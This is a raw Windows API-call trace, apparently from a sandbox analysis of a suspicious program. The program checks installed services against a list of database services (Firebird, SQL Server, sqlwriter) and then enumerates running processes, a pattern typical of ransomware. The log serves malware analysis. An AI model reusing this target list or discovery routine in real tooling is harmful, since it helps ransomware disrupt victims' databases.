	[0047.366] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0047.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0047.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0047.366] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0047.366] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0047.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0047.366] lstrlenW (lpString="CDPSvc") returned 6
	[0047.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0047.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0047.366] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0047.366] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0047.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0047.366] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0047.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0047.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0047.366] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0047.366] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0047.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0047.366] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0047.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0047.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0047.366] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0047.366] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0047.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0047.366] lstrlenW (lpString="CryptSvc") returned 8
	[0047.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0047.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0047.366] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0047.366] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0047.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0047.366] lstrlenW (lpString="DcomLaunch") returned 10
	[0047.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0047.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0047.366] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0047.367] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0047.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0047.367] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0047.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0047.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0047.367] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0047.367] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0047.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0047.367] lstrlenW (lpString="Dhcp") returned 4
	[0047.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0047.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0047.367] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0047.367] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0047.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0047.367] lstrlenW (lpString="Dnscache") returned 8
	[0047.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0047.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0047.367] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0047.367] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0047.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0047.367] lstrlenW (lpString="DoSvc") returned 5
	[0047.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0047.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0047.367] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0047.367] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0047.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0047.367] lstrlenW (lpString="DPS") returned 3
	[0047.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0047.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0047.367] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0047.367] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0047.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0047.367] lstrlenW (lpString="DusmSvc") returned 7
	[0047.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0047.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0047.367] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0047.368] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0047.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0047.368] lstrlenW (lpString="EventLog") returned 8
	[0047.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0047.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0047.368] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0047.368] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0047.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0047.368] lstrlenW (lpString="EventSystem") returned 11
	[0047.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0047.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0047.368] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0047.368] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0047.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0047.368] lstrlenW (lpString="FontCache") returned 9
	[0047.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0047.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0047.368] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0047.368] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0047.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0047.368] lstrlenW (lpString="gpsvc") returned 5
	[0047.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0047.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0047.368] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0047.368] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0047.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0047.368] lstrlenW (lpString="iphlpsvc") returned 8
	[0047.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0047.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0047.368] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0047.368] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0047.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0047.368] lstrlenW (lpString="KeyIso") returned 6
	[0047.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0047.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0047.368] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0047.369] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0047.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0047.369] lstrlenW (lpString="LanmanServer") returned 12
	[0047.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0047.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0047.369] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0047.369] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0047.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0047.369] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0047.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0047.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0047.369] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0047.369] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0047.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0047.369] lstrlenW (lpString="lfsvc") returned 5
	[0047.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0047.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0047.369] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0047.369] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0047.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0047.369] lstrlenW (lpString="lmhosts") returned 7
	[0047.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0047.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0047.369] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0047.369] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0047.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0047.369] lstrlenW (lpString="LSM") returned 3
	[0047.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0047.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0047.369] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0047.369] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0047.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0047.369] lstrlenW (lpString="MpsSvc") returned 6
	[0047.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0047.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0047.370] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0047.370] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0047.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0047.370] lstrlenW (lpString="NcbService") returned 10
	[0047.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0047.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0047.370] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0047.370] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0047.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0047.370] lstrlenW (lpString="netprofm") returned 8
	[0047.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0047.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0047.370] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0047.370] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0047.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0047.370] lstrlenW (lpString="NlaSvc") returned 6
	[0047.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0047.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0047.370] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0047.370] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0047.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0047.370] lstrlenW (lpString="nsi") returned 3
	[0047.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0047.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0047.439] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0047.439] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0047.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0047.439] lstrlenW (lpString="PcaSvc") returned 6
	[0047.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0047.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0047.439] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0047.439] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0047.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0047.439] lstrlenW (lpString="PlugPlay") returned 8
	[0047.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0047.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0047.440] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0047.440] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0047.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0047.440] lstrlenW (lpString="Power") returned 5
	[0047.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0047.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0047.440] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0047.440] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0047.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0047.440] lstrlenW (lpString="ProfSvc") returned 7
	[0047.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0047.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0047.440] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0047.440] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0047.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0047.440] lstrlenW (lpString="RpcEptMapper") returned 12
	[0047.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0047.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0047.440] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0047.440] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0047.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0047.440] lstrlenW (lpString="RpcSs") returned 5
	[0047.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0047.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0047.440] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0047.440] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0047.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0047.440] lstrlenW (lpString="SamSs") returned 5
	[0047.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0047.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0047.440] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0047.440] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0047.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0047.440] lstrlenW (lpString="Schedule") returned 8
	[0047.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0047.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0047.441] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0047.441] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0047.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0047.441] lstrlenW (lpString="SecurityHealthService") returned 21
	[0047.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0047.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0047.441] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0047.441] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0047.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0047.441] lstrlenW (lpString="SENS") returned 4
	[0047.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0047.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0047.441] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0047.441] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0047.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0047.441] lstrlenW (lpString="ShellHWDetection") returned 16
	[0047.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0047.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0047.441] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0047.441] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0047.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0047.441] lstrlenW (lpString="Spooler") returned 7
	[0047.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0047.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0047.441] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0047.441] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0047.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0047.441] lstrlenW (lpString="SSDPSRV") returned 7
	[0047.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0047.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0047.441] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0047.441] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0047.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0047.441] lstrlenW (lpString="StateRepository") returned 15
	[0047.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0047.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0047.442] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0047.442] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0047.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0047.442] lstrlenW (lpString="SysMain") returned 7
	[0047.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0047.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0047.442] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0047.442] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0047.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0047.442] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0047.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0047.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0047.442] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0047.442] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0047.442] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3bf7e70 | out: hHeap=0x650000) returned 1
	[0047.442] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x334
	[0047.446] Process32FirstW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0047.447] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0047.447] lstrlenW (lpString="System") returned 6
	[0047.447] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0047.448] lstrlenW (lpString="smss.exe") returned 8
	[0047.448] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0047.449] lstrlenW (lpString="csrss.exe") returned 9
	[0047.449] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0047.450] lstrlenW (lpString="wininit.exe") returned 11
	[0047.450] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0047.450] lstrlenW (lpString="csrss.exe") returned 9
	[0047.450] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0047.451] lstrlenW (lpString="winlogon.exe") returned 12
	[0047.451] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0047.452] lstrlenW (lpString="services.exe") returned 12
	[0047.452] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0047.452] lstrlenW (lpString="lsass.exe") returned 9
	[0047.452] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.453] lstrlenW (lpString="svchost.exe") returned 11
	[0047.453] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0047.454] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0047.454] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0047.454] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0047.454] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.455] lstrlenW (lpString="svchost.exe") returned 11
